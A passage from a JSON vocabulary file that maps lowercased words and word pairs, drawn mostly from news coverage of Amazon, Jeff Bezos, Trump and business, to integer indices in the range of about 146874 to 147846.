group\": 146874,\n  \"americas invested\": 146875,\n  \"surprises anymore\": 146876,\n  \"make sure\": 146877,\n  \"boy\": 146878,\n  \"content homecoming\": 146879,\n  \"penis immediately\": 146880,\n  \"spicer new\": 146881,\n  \"translated\": 146882,\n  \"consensus bolsonaro\": 146883,\n  \"crowd pleasers\": 146884,\n  \"years michael\": 146885,\n  \"improve work\": 146886,\n  \"younger new\": 146887,\n  \"commercial purchase\": 146888,\n  \"pretty significant\": 146889,\n  \"topics ferrari\": 146890,\n  \"firm emarketer\": 146891,\n  \"2018 updated\": 146892,\n  \"work extremely\": 146893,\n  \"really symbol\": 146894,\n  \"polarization\": 146895,\n  \"blows michael\": 146896,\n  \"setplayerproperties\": 146897,\n  \"1iq5vw0 videosourcedivid\": 146898,\n  \"reported growth\": 146899,\n  \"linda hamilton\": 146900,\n  \"bezos laughing\": 146901,\n  \"governments asked\": 146902,\n  \"photo credit\": 146903,\n  \"summer binge\": 146904,\n  \"anniversary posted\": 146905,\n  \"surveillance powers\": 146906,\n  \"outside work\": 146907,\n  \"lists following\": 146908,\n  \"boat\": 146909,\n  \"president presumably\": 146910,\n  \"issues plague\": 146911,\n  \"smart cities\": 146912,\n  \"management marketing\": 146913,\n  \"bezos facebook\": 146914,\n  \"buzzfeed news\": 146915,\n  \"president characterization\": 146916,\n  \"hoeft\": 146917,\n  \"fine google\": 146918,\n  \"rami malek\": 146919,\n  \"making ready\": 146920,\n  \"significance great\": 146921,\n  \"florida election\": 146922,\n  \"newspaper production\": 146923,\n  \"hayes talks\": 146924,\n  \"act mma\": 146925,\n  \"right track\": 146926,\n  \"fuels amazon\": 146927,\n  \"timely wicked\": 146928,\n  \"fearful\": 146929,\n  \"salvos\": 146930,\n  \"fbr analyst\": 146931,\n  \"reopen soon\": 146932,\n  \"bad uses\": 146933,\n  \"technology plays\": 146934,\n  \"marketwatch businesses\": 146935,\n  \"privacy meltdown\": 146936,\n  \"thelawyers\": 146937,\n  \"obtain better\": 146938,\n  \"2019 photo\": 146939,\n  \"agreement allowed\": 146940,\n  \"lynne\": 146941,\n  \"allocation climbing\": 146942,\n  \"ottoman\": 146943,\n  \"king imagine\": 146944,\n  \"hearing evidence\": 146945,\n  \"forbes 2018\": 146946,\n  \"island click\": 146947,\n  \"average figure\": 146948,\n  \"important economic\": 146949,\n  \"benny avni\": 146950,\n  \"little clarity\": 146951,\n  \"chef knives\": 146952,\n  \"mindfulness\": 146953,\n  \"text rep\": 146954,\n  \"accuse jeff\": 146955,\n  \"really wanted\": 146956,\n  \"transgender protections\": 146957,\n  \"consults\": 146958,\n  \"cushy treatment\": 146959,\n  \"ago tango\": 146960,\n  \"gun book\": 146961,\n  \"doesn neatly\": 146962,\n  \"girl reminiscent\": 146963,\n  \"needle according\": 146964,\n  \"city say\": 146965,\n  \"company stock\": 146966,\n  \"suburban detroit\": 146967,\n  \"teresa kumar\": 146968,\n  \"deploy\": 146969,\n  \"cabo san\": 146970,\n  \"corporations making\": 146971,\n  \"3pl\": 146972,\n  \"price took\": 146973,\n  \"highlights timeless\": 146974,\n  \"keyarena\": 146975,\n  \"opening ceremony\": 146976,\n  \"house gayle\": 146977,\n  \"rival internet\": 146978,\n  \"unfair manner\": 146979,\n  \"overhyped techno\": 146980,\n  \"closely covered\": 146981,\n  \"instagram messages\": 146982,\n  \"enquirerreports\": 146983,\n  \"items purchased\": 146984,\n  \"administration fda\": 146985,\n  \"offers struck\": 146986,\n  \"705\": 146987,\n  \"need mentors\": 146988,\n  \"hogg\": 146989,\n  \"ice series\": 146990,\n  \"century wrote\": 146991,\n  \"ge company\": 146992,\n  \"action center\": 146993,\n  \"guilty\": 146994,\n  \"bushes\": 146995,\n  \"cheap foreign\": 146996,\n  \"venezuela exodus\": 146997,\n  \"pricing pulling\": 146998,\n  \"837\": 146999,\n  \"appreciation appears\": 147000,\n  \"precious daughter\": 147001,\n  \"despite big\": 147002,\n  \"driving liberal\": 147003,\n  \"yellen\": 147004,\n  \"la instead\": 147005,\n  \"nonworking years\": 147006,\n  \"watson afp\": 147007,\n  \"night severe\": 147008,\n  \"nearly trillion\": 147009,\n  \"oversees immigration\": 147010,\n  \"service negotiates\": 147011,\n  \"horcher kiro\": 147012,\n  \"order battery\": 147013,\n  \"vehicle makers\": 147014,\n  \"fun inventions\": 147015,\n  \"reducing healthcare\": 147016,\n  \"resignation\": 147017,\n  \"power traditionally\": 147018,\n  \"shira wonder\": 147019,\n  \"single subscriber\": 147020,\n  \"worries right\": 147021,\n  \"110 executive\": 147022,\n  \"responded accordingly\": 147023,\n  \"phased approach\": 147024,\n  \"gowdy south\": 147025,\n  \"ageism 2018\": 147026,\n  \"glaring\": 147027,\n  \"technology falsely\": 147028,\n  \"reportedly questioned\": 147029,\n  \"immediately afterward\": 147030,\n  \"showcase\": 147031,\n  \"divide sound\": 147032,\n  \"hours seattle\": 147033,\n  \"world\": 147034,\n  \"contracting process\": 147035,\n  \"counsel jon\": 147036,\n  \"communicator\": 147037,\n  \"abortion care\": 147038,\n  \"commended\": 147039,\n  \"match mama\": 147040,\n  \"paypal started\": 147041,\n  \"strange zing\": 147042,\n  \"states english\": 147043,\n  \"bartiromo right\": 147044,\n  \"eventually political\": 147045,\n  \"bullet blender\": 147046,\n  \"view link\": 147047,\n  \"western garb\": 147048,\n  \"detections\": 147049,\n  \"deputy died\": 147050,\n  \"dragging people\": 147051,\n  \"collar employees\": 147052,\n  \"allies defeated\": 147053,\n  \"director michael\": 147054,\n  \"headquarters officials\": 147055,\n  \"trading day\": 147056,\n  \"father win\": 147057,\n  \"elemental staff\": 147058,\n  \"dellinger engadget\": 147059,\n  \"great herera\": 147060,\n  \"tron\": 147061,\n  \"caption dprk\": 147062,\n  \"requirements unfairly\": 147063,\n  \"activists just\": 147064,\n  \"virtue\": 147065,\n  \"statement adding\": 147066,\n  \"democrats google\": 147067,\n  \"happen trump\": 147068,\n  \"press instead\": 147069,\n  \"branch press\": 147070,\n  \"increased spending\": 147071,\n  \"legislative procedures\": 147072,\n  \"perfectly fine\": 147073,\n  \"karin connelly\": 147074,\n  \"union intellectual\": 147075,\n  \"home recording\": 147076,\n  \"include automotive\": 147077,\n  \"lai sent\": 147078,\n  \"enterprise owners\": 147079,\n  \"psychopath\": 147080,\n  \"political liberalism\": 147081,\n  \"colm express\": 147082,\n  \"makes perfect\": 147083,\n  \"fact help\": 147084,\n  \"hive newsletter\": 147085,\n  \"wife whitesell\": 147086,\n  \"hotel fortune\": 147087,\n  \"machine cosecha\": 147088,\n  \"doing fine\": 147089,\n  \"abandon plans\": 147090,\n  \"lobbyists democratic\": 147091,\n  \"reports viewreport\": 147092,\n  \"hard fans\": 147093,\n  \"organization google\": 147094,\n  \"rival cnn\": 147095,\n  \"investors forget\": 147096,\n  \"cease\": 147097,\n  \"bezos denying\": 147098,\n  \"emarketer trump\": 147099,\n  \"runs mission\": 147100,\n  \"program engineers\": 147101,\n  \"whitehouse potus\": 147102,\n  \"bls\": 147103,\n  \"personal political\": 147104,\n  \"brother assaulted\": 147105,\n  \"person holds\": 147106,\n  \"jewelry\": 147107,\n  \"president unleashed\": 147108,\n  \"egan\": 147109,\n  \"cigna ci\": 147110,\n  \"hillary laughing\": 147111,\n  \"scouting\": 147112,\n  \"trac\": 147113,\n  \"company profit\": 147114,\n  \"waterfront queens\": 147115,\n  \"latest tesla\": 147116,\n  \"china scooping\": 147117,\n  \"rural san\": 147118,\n  \"jury litigator\": 147119,\n  \"commerce bolsonaro\": 147120,\n  \"early bird\": 147121,\n  \"senator josh\": 147122,\n  \"higher office\": 147123,\n  \"annual report\": 147124,\n  \"box set\": 147125,\n  \"offered maximum\": 147126,\n  \"big chunk\": 147127,\n  \"scandalised\": 147128,\n  \"holocaust victims\": 147129,\n  \"stint freelancing\": 147130,\n  \"influence operations\": 147131,\n  \"changing policy\": 147132,\n  \"newest acquisition\": 147133,\n  \"2012 election\": 147134,\n  \"akira sensitive\": 147135,\n  \"sleep aid\": 147136,\n  \"korean central\": 147137,\n  \"costs far\": 147138,\n  \"amazon unfair\": 147139,\n  \"majority instead\": 147140,\n  \"usb port\": 147141,\n  \"translate documents\": 147142,\n  \"amazon skip\": 147143,\n  \"future looks\": 147144,\n  \"cancer amazon\": 147145,\n  \"amazon twist\": 147146,\n  \"immediate backlash\": 147147,\n  \"kids backpack\": 147148,\n  \"bezos expressing\": 147149,\n  \"curve inverts\": 147150,\n  \"hour kari\": 147151,\n  \"includes big\": 147152,\n  \"dollar college\": 147153,\n  \"725 965\": 147154,\n  \"war headlines\": 147155,\n  \"amazon represent\": 147156,\n  \"production merchandising\": 147157,\n  \"regulatory group\": 147158,\n  \"startribune\": 147159,\n  \"marijuana dispens\": 147160,\n  \"2015 remember\": 147161,\n  \"political rise\": 147162,\n  \"day jj\": 147163,\n  \"prices soaring\": 147164,\n  \"muilenburg geekwire\": 147165,\n  \"industry reported\": 147166,\n  \"goneril emily\": 147167,\n  \"indefinite appropriation\": 147168,\n  \"circuit\": 147169,\n  \"process liat\": 147170,\n  \"level repeatedly\": 147171,\n  \"sketch presents\": 147172,\n  \"washington thank\": 147173,\n  \"brooklyn building\": 147174,\n  \"maura cassidy\": 147175,\n  \"visible result\": 147176,\n  \"prime platform\": 147177,\n  \"amazon fiercest\": 147178,\n  \"allowing mining\": 147179,\n  \"grew american\": 147180,\n  \"graham talked\": 147181,\n  \"driven rivals\": 147182,\n  \"direct revenue\": 147183,\n  \"effect later\": 147184,\n  \"poor\": 147185,\n  \"studies conducted\": 147186,\n  \"cost best\": 147187,\n  \"controls specific\": 147188,\n  \"brokerage\": 147189,\n  \"reuters house\": 147190,\n  \"socialist left\": 147191,\n  \"deaf\": 147192,\n  \"drench\": 147193,\n  \"permanently altered\": 147194,\n  \"halfhearted\": 147195,\n  \"sufficiently similar\": 147196,\n  \"agreement excluding\": 147197,\n  \"muslim isn\": 147198,\n  \"jul\": 147199,\n  \"kubernetes\": 147200,\n  \"york shouted\": 147201,\n  \"cup finals\": 147202,\n  \"measure wouldn\": 147203,\n  \"4_5\": 147204,\n  \"travel iq\": 147205,\n  \"homes iconic\": 147206,\n  \"promoted\": 147207,\n  \"publication supply\": 147208,\n  \"networkers\": 147209,\n  \"level playing\": 147210,\n  \"marxists\": 147211,\n  \"tea leaves\": 147212,\n  \"schuster ny\": 147213,\n  \"unveil additional\": 147214,\n  \"ant\": 147215,\n  \"based apple\": 147216,\n  \"company noted\": 147217,\n  \"mixed quarterly\": 147218,\n  \"samsung krx\": 147219,\n  \"parcel business\": 147220,\n  \"lower drug\": 147221,\n  \"encourage amazon\": 147222,\n  \"phase trial\": 147223,\n  \"strongest growth\": 147224,\n  \"apple airpower\": 147225,\n  \"revenue ibm\": 147226,\n  \"democrats demand\": 147227,\n  \"foods amazon\": 147228,\n  \"microseconds\": 147229,\n  \"2d 463\": 147230,\n  \"intended effect\": 147231,\n  \"membership\": 147232,\n  \"trump dp\": 147233,\n  \"story justin\": 147234,\n  \"worse according\": 147235,\n  \"8df1y5uwxr\": 147236,\n  \"workers total\": 147237,\n  \"private wealth\": 147238,\n  \"information network\": 147239,\n  \"delivered keeps\": 147240,\n  \"missile trump\": 147241,\n  \"audibly\": 147242,\n  \"suburban women\": 147243,\n  \"raises deep\": 147244,\n  \"buy solid\": 147245,\n  \"ice uses\": 147246,\n  \"logistics network\": 147247,\n  \"modified\": 147248,\n  \"airmen bought\": 147249,\n  \"great quarter\": 147250,\n  \"veronica cope\": 147251,\n  \"cops sure\": 147252,\n  \"past ge\": 147253,\n  \"hurricane matthew\": 147254,\n  \"economic writer\": 147255,\n  \"second takes\": 147256,\n  \"voters sparking\": 147257,\n  \"states galloway\": 147258,\n  \"target launching\": 147259,\n  \"spends approximately\": 147260,\n  \"wasn putting\": 147261,\n  \"mush\": 147262,\n  \"mark cohon\": 147263,\n  \"particular dealings\": 147264,\n  \"spokesman drew\": 147265,\n  \"isn playing\": 147266,\n  \"22nd laying\": 147267,\n  \"camera shoulder\": 147268,\n  \"farmers referring\": 147269,\n  \"tax deal\": 147270,\n  \"improve special\": 147271,\n  \"bolden\": 147272,\n  \"development programs\": 147273,\n  \"gringo\": 147274,\n  \"sourceassociated press\": 147275,\n  \"wasn kneeling\": 147276,\n  \"facebook npr\": 147277,\n  \"ads lyin\": 147278,\n  \"big direct\": 147279,\n  \"2018 wolff\": 147280,\n  \"trends wilson\": 147281,\n  \"decaying\": 147282,\n  \"page fisa\": 147283,\n  \"writer sandy\": 147284,\n  \"lea\": 147285,\n  \"employment report\": 147286,\n  \"japanese empire\": 147287,\n  \"industry association\": 147288,\n  \"proxy president\": 147289,\n  \"consumer experience\": 147290,\n  \"el salvador\": 147291,\n  \"career ground\": 147292,\n  \"later bounce\": 147293,\n  \"invasion panic\": 147294,\n  \"zing votes\": 147295,\n  \"andover sites\": 147296,\n  \"mcphee\": 147297,\n  \"border caracas\": 147298,\n  \"screenshot documentary\": 147299,\n  \"mturk\": 147300,\n  \"lowering taxes\": 147301,\n  \"overlooking elliott\": 147302,\n  \"owned privately\": 147303,\n  \"era seaport\": 147304,\n  \"clinton bob\": 147305,\n  \"proclaimed citi\": 147306,\n  \"union rwdsu\": 147307,\n  \"lifted million\": 147308,\n  \"disrupting\": 147309,\n  \"defense digital\": 147310,\n  \"trump lashed\": 147311,\n  \"sounded 400\": 147312,\n  \"price inflation\": 147313,\n  \"caf\\u00e9\": 147314,\n  \"border amazon\": 147315,\n  \"quite rightly\": 147316,\n  \"investment conference\": 147317,\n  \"manner based\": 147318,\n  \"business economic\": 147319,\n  \"task\": 147320,\n  \"psychotropic humorous\": 147321,\n  \"needed revenue\": 147322,\n  \"craig hallum\": 147323,\n  \"ain guy\": 147324,\n  \"teach kids\": 147325,\n  \"welcome news\": 147326,\n  \"earlier report\": 147327,\n  \"reefs nbc\": 147328,\n  \"just unfortunate\": 147329,\n  \"offensive traits\": 147330,\n  \"requests\": 147331,\n  \"shawn booth\": 147332,\n  \"landmark report\": 147333,\n  \"tariff price\": 147334,\n  \"throw giant\": 147335,\n  \"khan writes\": 147336,\n  \"courses\": 147337,\n  \"abc roseanne\": 147338,\n  \"noted today\": 147339,\n  \"trends play\": 147340,\n  \"year shows\": 147341,\n  \"admirably modest\": 147342,\n  \"widely expected\": 147343,\n  \"program manager\": 147344,\n  \"way jpmorgan\": 147345,\n  \"information anchor\": 147346,\n  \"cleaning isn\": 147347,\n  \"greatest question\": 147348,\n  \"trump assaults\": 147349,\n  \"classic anti\": 147350,\n  \"remain supportive\": 147351,\n  \"kadetsky\": 147352,\n  \"faces charges\": 147353,\n  \"protect carbon\": 147354,\n  \"various stories\": 147355,\n  \"attorneys say\": 147356,\n  \"commenters suggested\": 147357,\n  \"labor attorney\": 147358,\n  \"company enjoy\": 147359,\n  \"press article\": 147360,\n  \"respected news\": 147361,\n  \"pr newswire\": 147362,\n  \"nearly read\": 147363,\n  \"enterprise dealings\": 147364,\n  \"headquarters heats\": 147365,\n  \"unfair stranglehold\": 147366,\n  \"address climate\": 147367,\n  \"spanish word\": 147368,\n  \"president juan\": 147369,\n  \"overheated\": 147370,\n  \"existing gta\": 147371,\n  \"ooh sexy\": 147372,\n  \"opioid prescribing\": 147373,\n  \"wine movie\": 147374,\n  \"extraordinary intervention\": 147375,\n  \"administration joined\": 147376,\n  \"sympathetic politicians\": 147377,\n  \"continued anger\": 147378,\n  \"identifying high\": 147379,\n  \"laces\": 147380,\n  \"declines following\": 147381,\n  \"mark krikorian\": 147382,\n  \"small recurring\": 147383,\n  \"mugabo\": 147384,\n  \"amazon chose\": 147385,\n  \"ai principles\": 147386,\n  \"promotion seeking\": 147387,\n  \"brother according\": 147388,\n  \"1970s lee\": 147389,\n  \"nation country\": 147390,\n  \"inhabitants brazil\": 147391,\n  \"friendlier connections\": 147392,\n  \"dossier publication\": 147393,\n  \"economist systemic\": 147394,\n  \"amy rosenbaum\": 147395,\n  \"gains break\": 147396,\n  \"guy think\": 147397,\n  \"receiving million\": 147398,\n  \"general provide\": 147399,\n  \"video trump\": 147400,\n  \"jerrelle guy\": 147401,\n  \"higher school\": 147402,\n  \"coins overstock\": 147403,\n  \"received competitive\": 147404,\n  \"state subsidies\": 147405,\n  \"recon\": 147406,\n  \"paragraph\": 147407,\n  \"staff mute\": 147408,\n  \"package say\": 147409,\n  \"immigration world\": 147410,\n  \"customers pay\": 147411,\n  \"beal\": 147412,\n  \"project bezos\": 147413,\n  \"google says\": 147414,\n  \"brutal working\": 147415,\n  \"trump tom\": 147416,\n  \"fedex combined\": 147417,\n  \"beyonce fan\": 147418,\n  \"superjumbo jet\": 147419,\n  \"basically took\": 147420,\n  \"privately criticized\": 147421,\n  \"australian meth\": 147422,\n  \"additional policy\": 147423,\n  \"lot closer\": 147424,\n  \"market oracle\": 147425,\n  \"liners\": 147426,\n  \"brazil newly\": 147427,\n  \"thought glenn\": 147428,\n  \"money losing\": 147429,\n  \"shonda\": 147430,\n  \"include knock\": 147431,\n  \"videoplayer thumbimageelem\": 147432,\n  \"deal trump\": 147433,\n  \"people happy\": 147434,\n  \"city implemented\": 147435,\n  \"behemoth reported\": 147436,\n  \"invent shopping\": 147437,\n  \"additional fees\": 147438,\n  \"electronics company\": 147439,\n  \"community wrote\": 147440,\n  \"movementy offsetx\": 147441,\n  \"tempe\": 147442,\n  \"flowers\": 147443,\n  \"shake\": 147444,\n  \"financial independence\": 147445,\n  \"transit board\": 147446,\n  \"normally\": 147447,\n  \"technocrat\": 147448,\n  \"220 type\": 147449,\n  \"avoid nearly\": 147450,\n  \"prior parody\": 147451,\n  \"associations\": 147452,\n  \"nelson choice\": 147453,\n  \"printing million\": 147454,\n  \"wider dissemination\": 147455,\n  \"lawsuits according\": 147456,\n  \"online spend\": 147457,\n  \"industry efforts\": 147458,\n  \"better crony\": 147459,\n  \"institutions highly\": 147460,\n  \"republican senator\": 147461,\n  \"alexa new\": 147462,\n  \"jokes jordan\": 147463,\n  \"capital commitment\": 147464,\n  \"launch money\": 147465,\n  \"minnesota rashida\": 147466,\n  \"usps principally\": 147467,\n  \"residing\": 147468,\n  \"2012 amid\": 147469,\n  \"mojo\": 147470,\n  \"low level\": 147471,\n  \"dad potus\": 147472,\n  \"daily deals\": 147473,\n  \"essential programs\": 147474,\n  \"bloomberg net\": 147475,\n  \"facing opposition\": 147476,\n  \"added fedex\": 147477,\n  \"employment base\": 147478,\n  \"land andnowuknow\": 147479,\n  \"way government\": 147480,\n  \"height adjustable\": 147481,\n  \"rawat\": 147482,\n  \"trump aim\": 147483,\n  \"overnight photo\": 147484,\n  \"turkey encouraged\": 147485,\n  \"ground retailers\": 147486,\n  \"right time\": 147487,\n  \"appear\": 147488,\n  \"mccabe fbi\": 147489,\n  \"predicts demand\": 147490,\n  \"internet sales\": 147491,\n  \"trust lawsuits\": 147492,\n  \"intelligence findings\": 147493,\n  \"meal serve\": 147494,\n  \"holistic\": 147495,\n  \"certainly reasons\": 147496,\n  \"steel prices\": 147497,\n  \"concurrent rush\": 147498,\n  \"decision following\": 147499,\n  \"jeans company\": 147500,\n  \"including ivanka\": 147501,\n  \"terrorism accounts\": 147502,\n  \"640\": 147503,\n  \"dramatic slash\": 147504,\n  \"lionel bonaventure\": 147505,\n  \"emissions escalating\": 147506,\n  \"shahar\": 147507,\n  \"caption\": 147508,\n  \"campusreform\": 147509,\n  \"matter repeatedly\": 147510,\n  \"research review\": 147511,\n  \"cnbc bs_bullet_primary\": 147512,\n  \"rules warren\": 147513,\n  \"point margin\": 147514,\n  \"trade storm\": 147515,\n  \"named becker\": 147516,\n  \"era case\": 147517,\n  \"usps operation\": 147518,\n  \"oversaw oppression\": 147519,\n  \"flashy awards\": 147520,\n  \"amazing week\": 147521,\n  \"company revenue\": 147522,\n  \"explained adding\": 147523,\n  \"new austin\": 147524,\n  \"international crisis\": 147525,\n  \"weinroth\": 147526,\n  \"seattle\": 147527,\n  \"luminaid\": 147528,\n  \"cuny perspective\": 147529,\n  \"low posted\": 147530,\n  \"lunch eaten\": 147531,\n  \"trump pleaded\": 147532,\n  \"president ceo\": 147533,\n  \"taxpayers tallied\": 147534,\n  \"people food\": 147535,\n  \"gangster\": 147536,\n  \"opportunity zones\": 147537,\n  \"paraphrase rourke\": 147538,\n  \"repeated threats\": 147539,\n  \"competitions ive\": 147540,\n  \"new military\": 147541,\n  \"friendly tax\": 147542,\n  \"unsophisticated\": 147543,\n  \"middle schooler\": 147544,\n  \"probably considered\": 147545,\n  \"unleashed chain\": 147546,\n  \"new authority\": 147547,\n  \"fundamental gap\": 147548,\n  \"support ban\": 147549,\n  \"stock symc\": 147550,\n  \"trump motivation\": 147551,\n  \"incendiary indignation\": 147552,\n  \"energy editor\": 147553,\n  \"oecomplexifier euro\": 147554,\n  \"president michael\": 147555,\n  \"currently ranks\": 147556,\n  \"sentence\": 147557,\n  \"risky corporate\": 147558,\n  \"right unless\": 147559,\n  \"industry sanders\": 147560,\n  \"rubenstein did\": 147561,\n  \"action dow\": 147562,\n  \"landscape new\": 147563,\n  \"metals market\": 147564,\n  \"onwer\": 147565,\n  \"failing new\": 147566,\n  \"barbarian tribes\": 147567,\n  \"took dig\": 147568,\n  \"considered encouraging\": 147569,\n  \"church clerical\": 147570,\n  \"licensors\": 147571,\n  \"mortar amazon\": 147572,\n  \"lobbyist bezos\": 147573,\n  \"repeated war\": 147574,\n  \"drink insulators\": 147575,\n  \"slowing katherine\": 147576,\n  \"cargo ships\": 147577,\n  \"negative stories\": 147578,\n  \"broke suggesting\": 147579,\n  \"amazon garrard\": 147580,\n  \"extremely tight\": 147581,\n  \"nifty\": 147582,\n  \"vocal issues\": 147583,\n  \"research senior\": 147584,\n  \"lobosco\": 147585,\n  \"biggest criminal\": 147586,\n  \"raines\": 147587,\n  \"287\": 147588,\n  \"businesses rely\": 147589,\n  \"stu zakim\": 147590,\n  \"large taxpayer\": 147591,\n  \"amazon features\": 147592,\n  \"official singles\": 147593,\n  \"really quickly\": 147594,\n  \"bezos asserting\": 147595,\n  \"danhof refers\": 147596,\n  \"advertising business\": 147597,\n  \"city imposing\": 147598,\n  \"amazon create\": 147599,\n  \"cnn font\": 147600,\n  \"regular guy\": 147601,\n  \"plant\": 147602,\n  \"missed jeff\": 147603,\n  \"body created\": 147604,\n  \"darkly comedic\": 147605,\n  \"scour\": 147606,\n  \"barriers did\": 147607,\n  \"companies doesn\": 147608,\n  \"wealthiest billionaire\": 147609,\n  \"2600\": 147610,\n  \"sydney\": 147611,\n  \"diversifying exports\": 147612,\n  \"substantial progress\": 147613,\n  \"scene shirtless\": 147614,\n  \"guardian complete\": 147615,\n  \"trillion value\": 147616,\n  \"making 4dx\": 147617,\n  \"secrets business\": 147618,\n  \"liberal instinct\": 147619,\n  \"increases reduce\": 147620,\n  \"truly engaged\": 147621,\n  \"journal article\": 147622,\n  \"unused real\": 147623,\n  \"talking chairman\": 147624,\n  \"allow agencies\": 147625,\n  \"policy advisor\": 147626,\n  \"gift given\": 147627,\n  \"children hospitalized\": 147628,\n  \"fox anchor\": 147629,\n  \"establish lunar\": 147630,\n  \"new york\": 147631,\n  \"massive fortune\": 147632,\n  \"capabilities thanks\": 147633,\n  \"competition yeah\": 147634,\n  \"attends meeting\": 147635,\n  \"government wants\": 147636,\n  \"lovingly protect\": 147637,\n  \"new service\": 147638,\n  \"page collection\": 147639,\n  \"newfoundland supply\": 147640,\n  \"acquisition draws\": 147641,\n  \"slimme aftrekposten\": 147642,\n  \"awkward position\": 147643,\n  \"frequently attacks\": 147644,\n  \"university mcdonough\": 147645,\n  \"bezos george\": 147646,\n  \"trade axis\": 147647,\n  \"abusive content\": 147648,\n  \"advchart\": 147649,\n  \"moderate candidate\": 147650,\n  \"networking skills\": 147651,\n  \"host steve\": 147652,\n  \"foods yes\": 147653,\n  \"modified airs\": 147654,\n  \"nyse dis\": 147655,\n  \"strengthened border\": 147656,\n  \"authorities including\": 147657,\n  \"brent shelton\": 147658,\n  \"crushed diplomacy\": 147659,\n  \"yesterday warned\": 147660,\n  \"increased influence\": 147661,\n  \"change accord\": 147662,\n  \"tacky\": 147663,\n  \"phones designed\": 147664,\n  \"alienating\": 147665,\n  \"data reuters\": 147666,\n  \"gained momentum\": 147667,\n  \"movementx movementy\": 147668,\n  \"short films\": 147669,\n  \"ibd\": 147670,\n  \"including twitter\": 147671,\n  \"company responsible\": 147672,\n  \"hudson taste\": 147673,\n  \"companies linked\": 147674,\n  \"dorsey stepping\": 147675,\n  \"amid soaring\": 147676,\n  \"cheap card\": 147677,\n  \"discussions trump\": 147678,\n  \"snapshot gardens\": 147679,\n  \"including looking\": 147680,\n  \"afternoon trade\": 147681,\n  \"issue area\": 147682,\n  \"did stephanopoulos\": 147683,\n  \"story months\": 147684,\n  \"lear\": 147685,\n  \"fashion industry\": 147686,\n  \"page infowars\": 147687,\n  \"date spokesperson\": 147688,\n  \"distribution network\": 147689,\n  \"enable dreamers\": 147690,\n  \"form email\": 147691,\n  \"apg\": 147692,\n  \"trade attorney\": 147693,\n  \"bludgeon\": 147694,\n  \"facility\": 147695,\n  \"jody hice\": 147696,\n  \"nairobi\": 147697,\n  \"bank stock\": 147698,\n  \"embarrassingly\": 147699,\n  \"fact lie\": 147700,\n  \"bears appear\": 147701,\n  \"usage second\": 147702,\n  \"juncture\": 147703,\n  \"costs including\": 147704,\n  \"bowtie\": 147705,\n  \"bezos jr\": 147706,\n  \"parties dual\": 147707,\n  \"banana bread\": 147708,\n  \"magnolia table\": 147709,\n  \"sch html\": 147710,\n  \"length documentary\": 147711,\n  \"traction amazon\": 147712,\n  \"principally\": 147713,\n  \"seeing lot\": 147714,\n  \"baptist\": 147715,\n  \"cca says\": 147716,\n  \"owner doesnt\": 147717,\n  \"till\": 147718,\n  \"power exactly\": 147719,\n  \"really great\": 147720,\n  \"doubly\": 147721,\n  \"mcdermott\": 147722,\n  \"action contact\": 147723,\n  \"evan fisher\": 147724,\n  \"ncluding facebook\": 147725,\n  \"latest income\": 147726,\n  \"samantha maldonado\": 147727,\n  \"nvidia technology\": 147728,\n  \"really focusing\": 147729,\n  \"oath digital\": 147730,\n  \"greeted\": 147731,\n  \"unlimited budget\": 147732,\n  \"millennial focused\": 147733,\n  \"technical excellence\": 147734,\n  \"recent reporting\": 147735,\n  \"received different\": 147736,\n  \"avoid antitrust\": 147737,\n  \"sugin\": 147738,\n  \"products buying\": 147739,\n  \"quiet st\": 147740,\n  \"promote commerce\": 147741,\n  \"external experts\": 147742,\n  \"bring suit\": 147743,\n  \"repurchase\": 147744,\n  \"house vote\": 147745,\n  \"budget season\": 147746,\n  \"trading remained\": 147747,\n  \"amazon convicted\": 147748,\n  \"dynastic richness\": 147749,\n  \"gpu architecture\": 147750,\n  \"distinctive feature\": 147751,\n  \"blanchett\": 147752,\n  \"acres post\": 147753,\n  \"saudi capital\": 147754,\n  \"visited school\": 147755,\n  \"alleged collusion\": 147756,\n  \"bio tech\": 147757,\n  \"nets 116\": 147758,\n  \"deep offense\": 147759,\n  \"israeli spacecraft\": 147760,\n  \"researchers say\": 147761,\n  \"mamma\": 147762,\n  \"sec rules\": 147763,\n  \"hit\": 147764,\n  \"sass\": 147765,\n  \"class alaniz\": 147766,\n  \"rodham clinton\": 147767,\n  \"retailers launched\": 147768,\n  \"thanks\": 147769,\n  \"lael brainard\": 147770,\n  \"good old\": 147771,\n  \"accusations read\": 147772,\n  \"galloway founder\": 147773,\n  \"ibo\": 147774,\n  \"footprint elon\": 147775,\n  \"euractiv\": 147776,\n  \"nibbles\": 147777,\n  \"2018 alfresco\": 147778,\n  \"trump color\": 147779,\n  \"amazon placed\": 147780,\n  \"commerce sites\": 147781,\n  \"chairman\": 147782,\n  \"reasonable multiples\": 147783,\n  \"sanchez denied\": 147784,\n  \"amazon guide\": 147785,\n  \"new ironies\": 147786,\n  \"entertainment options\": 147787,\n  \"740 words\": 147788,\n  \"kaminsky\": 147789,\n  \"impressive wins\": 147790,\n  \"kavitha george\": 147791,\n  \"amazon badhealth\": 147792,\n  \"appropriations\": 147793,\n  \"tongue happened\": 147794,\n  \"shopper doorsteps\": 147795,\n  \"conglomerate needs\": 147796,\n  \"logging losses\": 147797,\n  \"mudslides\": 147798,\n  \"targeted companies\": 147799,\n  \"doj investigation\": 147800,\n  \"agency llc\": 147801,\n  \"everybody wants\": 147802,\n  \"member carolyn\": 147803,\n  \"lazarus latimes\": 147804,\n  \"begin paying\": 147805,\n  \"wrote letter\": 147806,\n  \"making dent\": 147807,\n  \"aswith\": 147808,\n  \"work helping\": 147809,\n  \"judiciary committee\": 147810,\n  \"impactful partisan\": 147811,\n  \"story chinas\": 147812,\n  \"7tao industrial\": 147813,\n  \"future years\": 147814,\n  \"computing including\": 147815,\n  \"big corporates\": 147816,\n  \"trump threat\": 147817,\n  \"warren 2018\": 147818,\n  \"briley\": 147819,\n  \"headlinetext amazon\": 147820,\n  \"prove difficult\": 147821,\n  \"confusing body\": 147822,\n  \"central need\": 147823,\n  \"committee chairwoman\": 147824,\n  \"systems nasdaq\": 147825,\n  \"ashland source\": 147826,\n  \"practiced medicine\": 147827,\n  \"doing futures\": 147828,\n  \"rebalance\": 147829,\n  \"audio version\": 147830,\n  \"brand quickly\": 147831,\n  \"dhs budget\": 147832,\n  \"giving china\": 147833,\n  \"told boston\": 147834,\n  \"merger possibility\": 147835,\n  \"lago flashing\": 147836,\n  \"dilemmas\": 147837,\n  \"police standoff\": 147838,\n  \"process began\": 147839,\n  \"magazine inquiries\": 147840,\n  \"fellow survivors\": 147841,\n  \"destroying cow\": 147842,\n  \"data operation\": 147843,\n  \"frequent guests\": 147844,\n  \"paying politicians\": 147845,\n  \"earn compared\": 147846,\n  